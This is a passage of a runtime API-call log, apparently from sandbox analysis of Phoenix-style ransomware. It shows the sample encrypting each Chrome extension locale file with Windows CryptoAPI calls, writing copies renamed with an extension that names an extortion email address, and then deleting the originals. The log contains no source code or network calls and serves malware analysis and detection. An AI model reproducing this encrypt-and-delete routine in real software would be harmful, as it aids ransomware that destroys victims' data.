	[0254.563] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0254.563] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.563] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.563] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.563] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.563] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.563] CloseHandle (hObject=0x2d0) returned 1
	[0254.563] CloseHandle (hObject=0x304) returned 1
	[0254.563] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json")) returned 1
	[0254.564] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.564] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.565] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=257) returned 1
	[0254.565] CloseHandle (hObject=0x2d0) returned 1
	[0254.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json")) returned 0x20
	[0254.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.566] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.566] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.566] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.566] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.567] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151700) returned 1
	[0254.567] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.567] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x101, lpOverlapped=0x0) returned 1
	[0254.568] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0254.568] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0254.569] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0254.569] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.569] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.569] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.569] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.576] CryptDestroyKey (hKey=0x151700) returned 1
	[0254.576] CloseHandle (hObject=0x2d0) returned 1
	[0254.576] CloseHandle (hObject=0x2c8) returned 1
	[0254.576] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json")) returned 1
	[0254.577] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.577] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.578] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=224) returned 1
	[0254.578] CloseHandle (hObject=0x2c8) returned 1
	[0254.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json")) returned 0x20
	[0254.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.578] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.578] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.578] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.578] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.579] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0254.579] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.579] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe0, lpOverlapped=0x0) returned 1
	[0254.580] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0254.580] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0254.581] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0254.581] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.581] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.581] CryptDestroyKey (hKey=0x151140) returned 1
	[0254.581] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.581] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.581] CloseHandle (hObject=0x2c8) returned 1
	[0254.581] CloseHandle (hObject=0x2d0) returned 1
	[0254.581] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json")) returned 1
	[0254.582] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.582] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=224) returned 1
	[0254.582] CloseHandle (hObject=0x2d0) returned 1
	[0254.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json")) returned 0x20
	[0254.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.583] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.583] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.583] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.583] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.583] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0254.583] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.583] ReadFile (in: hFile=0x2d0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xe0, lpOverlapped=0x0) returned 1
	[0254.721] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0, dwBufLen=0xf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xf0) returned 1
	[0254.721] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf0, lpOverlapped=0x0) returned 1
	[0254.722] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0254.722] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.722] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.722] CryptDestroyKey (hKey=0x151640) returned 1
	[0254.722] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.722] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.722] CloseHandle (hObject=0x2d0) returned 1
	[0254.722] CloseHandle (hObject=0x2c8) returned 1
	[0254.723] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json")) returned 1
	[0254.724] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.724] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.724] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=221) returned 1
	[0254.724] CloseHandle (hObject=0x2c8) returned 1
	[0254.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json")) returned 0x20
	[0254.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.724] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.725] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.725] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0254.725] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.725] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151280) returned 1
	[0254.725] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.725] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdd, lpOverlapped=0x0) returned 1
	[0254.728] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0254.728] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0254.730] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0254.730] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0254.730] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0254.730] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.730] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0254.730] CryptDestroyKey (hKey=0x151280) returned 1
	[0254.730] CloseHandle (hObject=0x2c8) returned 1
	[0254.730] CloseHandle (hObject=0x2d0) returned 1
	[0254.730] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json")) returned 1
	[0254.731] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0254.731] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0254.731] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=214) returned 1
	[0254.732] CloseHandle (hObject=0x2d0) returned 1
	[0254.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json")) returned 0x20
	[0254.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
